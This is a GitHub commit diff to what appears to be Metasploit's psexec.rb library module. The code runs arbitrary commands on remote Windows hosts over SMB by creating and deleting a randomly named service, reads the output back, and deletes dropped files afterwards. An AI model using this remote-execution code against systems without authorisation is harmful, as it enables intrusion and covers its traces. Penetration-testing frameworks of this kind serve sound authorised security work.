Skip to content

Commit f7571d8

Browse files
Royce DavisRoyce Davis
authored andcommitted
Fixed cleanup_after funciton to mimic file_dropper but not use file_dropper
1 parent 6773a10 commit f7571d8

File tree

1 file changed

+171
-166
lines changed

1 file changed

+171
-166
lines changed

lib/msf/core/exploit/psexec.rb

Lines changed: 171 additions & 166 deletions
Original file line numberDiff line numberDiff line change
@@ -10,153 +10,147 @@ module Msf
1010

1111
module Exploit::Remote::Psexec
1212

13-
include Msf::Exploit::Remote::DCERPC
14-
include Msf::Exploit::Remote::SMB
15-
include Msf::Exploit::FileDropper
16-
17-
# Retrieves output from the executed command
18-
#
19-
# @example
20-
# get_output("C$", rhost, '\WINDOWS\Temp\outputfile.txt')
21-
#
22-
# @param smbshare [String] The SMBshare to connect to. Usually C$
23-
# @param ip [String] Remote host to connect to
24-
# @param file [String] Path to the output file relative to the +smbshare+
25-
# @return [String,nil] output or nil if retrieval fails
26-
def get_output(smbshare, ip, file)
27-
begin
28-
print_status("Getting the command output...")
29-
simple.connect("\\\\#{ip}\\#{smbshare}")
30-
outfile = simple.open(file, 'ro')
31-
output = outfile.read
32-
outfile.close
33-
simple.disconnect("\\\\#{ip}\\#{smbshare}")
34-
return output
35-
rescue StandardError => output_error
36-
print_error("Error getting command output. #{output_error.class}. #{output_error}.")
37-
return nil
38-
end
39-
end
40-
41-
42-
# Executes a single windows command.
43-
#
44-
# If you want to retrieve the output of your command you'll have to
45-
# redirect its output to a file and then use {#get_output} to retrieve
46-
# it. Make sure to use the {#cleanup_after} method when you are done.
47-
#
48-
# @param command [String] Should be a valid windows command
49-
# @return [Boolean] true if everything wen't well
50-
def psexec(command)
51-
print_status("#{peer} - Executing: #{command}")
52-
simple.connect("IPC$")
53-
54-
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
55-
vprint_status("#{peer} - Binding to #{handle} ...")
56-
dcerpc_bind(handle)
57-
vprint_status("#{peer} - Bound to #{handle} ...")
58-
59-
vprint_status("#{peer} - Obtaining a service manager handle...")
60-
scm_handle = nil
61-
stubdata =
62-
NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F)
63-
begin
64-
response = dcerpc.call(0x0f, stubdata)
65-
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
66-
scm_handle = dcerpc.last_response.stub_data[0,20]
67-
end
68-
rescue ::Exception => e
69-
print_error("#{peer} - Error: #{e}")
70-
return false
71-
end
72-
73-
servicename = Rex::Text.rand_text_alpha(11)
74-
displayname = Rex::Text.rand_text_alpha(16)
75-
holdhandle = scm_handle
76-
svc_handle = nil
77-
svc_status = nil
78-
79-
stubdata =
80-
scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +
81-
82-
NDR.long(0x0F01FF) + # Access: MAX
83-
NDR.long(0x00000110) + # Type: Interactive, Own process
84-
NDR.long(0x00000003) + # Start: Demand
85-
NDR.long(0x00000000) + # Errors: Ignore
86-
NDR.wstring( command ) +
87-
NDR.long(0) + # LoadOrderGroup
88-
NDR.long(0) + # Dependencies
89-
NDR.long(0) + # Service Start
90-
NDR.long(0) + # Password
91-
NDR.long(0) + # Password
92-
NDR.long(0) + # Password
93-
NDR.long(0) # Password
94-
begin
95-
vprint_status("#{peer} - Creating the service...")
96-
response = dcerpc.call(0x0c, stubdata)
97-
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
98-
svc_handle = dcerpc.last_response.stub_data[0,20]
99-
svc_status = dcerpc.last_response.stub_data[24,4]
100-
end
101-
rescue ::Exception => e
102-
print_error("#{peer} - Error: #{e}")
103-
return false
104-
end
105-
106-
vprint_status("#{peer} - Closing service handle...")
107-
begin
108-
response = dcerpc.call(0x0, svc_handle)
109-
rescue ::Exception
110-
end
111-
112-
vprint_status("#{peer} - Opening service...")
113-
begin
114-
stubdata =
115-
scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)
116-
117-
response = dcerpc.call(0x10, stubdata)
118-
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
119-
svc_handle = dcerpc.last_response.stub_data[0,20]
120-
end
121-
rescue ::Exception => e
122-
print_error("#{peer} - Error: #{e}")
123-
return false
124-
end
125-
126-
vprint_status("#{peer} - Starting the service...")
127-
stubdata =
128-
svc_handle + NDR.long(0) + NDR.long(0)
129-
begin
130-
response = dcerpc.call(0x13, stubdata)
131-
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
132-
end
133-
rescue ::Exception => e
134-
print_error("#{peer} - Error: #{e}")
135-
return false
136-
end
137-
138-
vprint_status("#{peer} - Removing the service...")
139-
stubdata =
140-
svc_handle
141-
begin
142-
response = dcerpc.call(0x02, stubdata)
143-
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
144-
end
145-
rescue ::Exception => e
146-
print_error("#{peer} - Error: #{e}")
147-
end
148-
149-
vprint_status("#{peer} - Closing service handle...")
150-
begin
151-
response = dcerpc.call(0x0, svc_handle)
152-
rescue ::Exception => e
153-
print_error("#{peer} - Error: #{e}")
154-
end
155-
156-
select(nil, nil, nil, 1.0)
157-
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
158-
return true
159-
end
13+
include Msf::Exploit::Remote::DCERPC
14+
include Msf::Exploit::Remote::SMB
15+
16+
# Retrives output from the executed command
17+
# @param smbshare [String] The SMBshare to connect to. Usually C$
18+
# @param ip [IP Address] Remote Host to Connect To
19+
# @param file [File name] Path to the output file relative to the smbshare
20+
# Example: '\WINDOWS\Temp\outputfile.txt'
21+
# @return output or nil if fails
22+
def get_output(smbshare, ip, file)
23+
begin
24+
print_status("Getting the command output...")
25+
simple.connect("\\\\#{ip}\\#{smbshare}")
26+
outfile = simple.open(file, 'ro')
27+
output = outfile.read
28+
outfile.close
29+
simple.disconnect("\\\\#{ip}\\#{smbshare}")
30+
return output
31+
rescue StandardError => output_error
32+
print_error("Error getting command output. #{output_error.class}. #{output_error}.")
33+
return nil
34+
end
35+
end
36+
37+
38+
# This method executes a single windows command. If you want to
39+
# retrieve the output of your command you'll have to echo it
40+
# to a .txt file and then use the get_output method to retrieve it
41+
# Make sure to use the cleanup_after method when you are done.
42+
# @param command [String] Should be a valid windows command
43+
# @return true if everything wen't well
44+
def psexec(command)
45+
46+
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
47+
48+
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
49+
vprint_status("#{peer} - Binding to #{handle} ...")
50+
dcerpc_bind(handle)
51+
vprint_status("#{peer} - Bound to #{handle} ...")
52+
53+
vprint_status("#{peer} - Obtaining a service manager handle...")
54+
scm_handle = nil
55+
stubdata =
56+
NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F)
57+
begin
58+
response = dcerpc.call(0x0f, stubdata)
59+
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
60+
scm_handle = dcerpc.last_response.stub_data[0,20]
61+
end
62+
rescue ::Exception => e
63+
print_error("#{peer} - Error: #{e}")
64+
return false
65+
end
66+
67+
servicename = Rex::Text.rand_text_alpha(11)
68+
displayname = Rex::Text.rand_text_alpha(16)
69+
holdhandle = scm_handle
70+
svc_handle = nil
71+
svc_status = nil
72+
73+
stubdata =
74+
scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +
75+
76+
NDR.long(0x0F01FF) + # Access: MAX
77+
NDR.long(0x00000110) + # Type: Interactive, Own process
78+
NDR.long(0x00000003) + # Start: Demand
79+
NDR.long(0x00000000) + # Errors: Ignore
80+
NDR.wstring( command ) +
81+
NDR.long(0) + # LoadOrderGroup
82+
NDR.long(0) + # Dependencies
83+
NDR.long(0) + # Service Start
84+
NDR.long(0) + # Password
85+
NDR.long(0) + # Password
86+
NDR.long(0) + # Password
87+
NDR.long(0) # Password
88+
begin
89+
vprint_status("#{peer} - Creating the service...")
90+
response = dcerpc.call(0x0c, stubdata)
91+
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
92+
svc_handle = dcerpc.last_response.stub_data[0,20]
93+
svc_status = dcerpc.last_response.stub_data[24,4]
94+
end
95+
rescue ::Exception => e
96+
print_error("#{peer} - Error: #{e}")
97+
return false
98+
end
99+
100+
vprint_status("#{peer} - Closing service handle...")
101+
begin
102+
response = dcerpc.call(0x0, svc_handle)
103+
rescue ::Exception
104+
end
105+
106+
vprint_status("#{peer} - Opening service...")
107+
begin
108+
stubdata =
109+
scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)
110+
111+
response = dcerpc.call(0x10, stubdata)
112+
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
113+
svc_handle = dcerpc.last_response.stub_data[0,20]
114+
end
115+
rescue ::Exception => e
116+
print_error("#{peer} - Error: #{e}")
117+
return false
118+
end
119+
120+
vprint_status("#{peer} - Starting the service...")
121+
stubdata =
122+
svc_handle + NDR.long(0) + NDR.long(0)
123+
begin
124+
response = dcerpc.call(0x13, stubdata)
125+
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
126+
end
127+
rescue ::Exception => e
128+
print_error("#{peer} - Error: #{e}")
129+
return false
130+
end
131+
132+
vprint_status("#{peer} - Removing the service...")
133+
stubdata =
134+
svc_handle
135+
begin
136+
response = dcerpc.call(0x02, stubdata)
137+
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
138+
end
139+
rescue ::Exception => e
140+
print_error("#{peer} - Error: #{e}")
141+
end
142+
143+
vprint_status("#{peer} - Closing service handle...")
144+
begin
145+
response = dcerpc.call(0x0, svc_handle)
146+
rescue ::Exception => e
147+
print_error("#{peer} - Error: #{e}")
148+
end
149+
150+
select(nil, nil, nil, 1.0)
151+
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
152+
return true
153+
end
160154

161155
# This method is called by file_dropper to remove files droped
162156
# By your module
@@ -168,28 +162,39 @@ def psexec(command)
168162
# @return [StandardError] only in the event of an error
169163
def file_rm(file)
170164
delete = "%COMSPEC% /C del #{file}"
171-
print_status("#{peer} - Deleting #{file}")
165+
vprint_status("#{peer} - Deleting #{file}")
172166
psexec(delete)
173-
print_status("#{peer} - Command Ran")
174167
end
175168

176-
# Make sure the cleanup command worked
177-
# This method should only be called from within cleanup_after
178-
def check_cleanup(smbshare, ip, text)
179-
simple.connect("\\\\#{ip}\\#{smbshare}")
180-
begin
181-
if simple.open(text, 'ro')
182-
check = false
183-
else
184-
check = true
185-
end
186-
simple.disconnect("\\\\#{ip}\\#{smbshare}")
187-
return check
188-
rescue StandardError => check_error
189-
simple.disconnect("\\\\#{ip}\\#{smbshare}")
190-
return true
191-
end
192-
end
169+
# This method stores files in an Instance array
170+
# The files are then deleted from the remote host once
171+
# the cleanup_after method is called
172+
#
173+
# @example
174+
# register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt")
175+
# @param file [String] Full path to the file on the remote host
176+
def register_file_for_cleanup(*file)
177+
@dropped_files ||= []
178+
@dropped_files += file
179+
end
180+
181+
# This method removes any files that were dropped on the remote system
182+
# and marked with the register_file_for_cleanup method
183+
def cleanup_after
184+
print_status("#{peer} - Removing files dropped by your module/exploit")
185+
if !@dropped_files
186+
return
187+
end
188+
@dropped_files.delete_if do |file|
189+
begin
190+
file_rm(file)
191+
print_good("#{peer} - Deleted #{file}")
192+
rescue StandardError => file_rm_error
193+
print_error("#{peer} - Unable to delte #{file}. #{file_rm_error}")
194+
return
195+
end
196+
end
197+
end
193198

194199
end
195200

0 commit comments

Comments
 (0)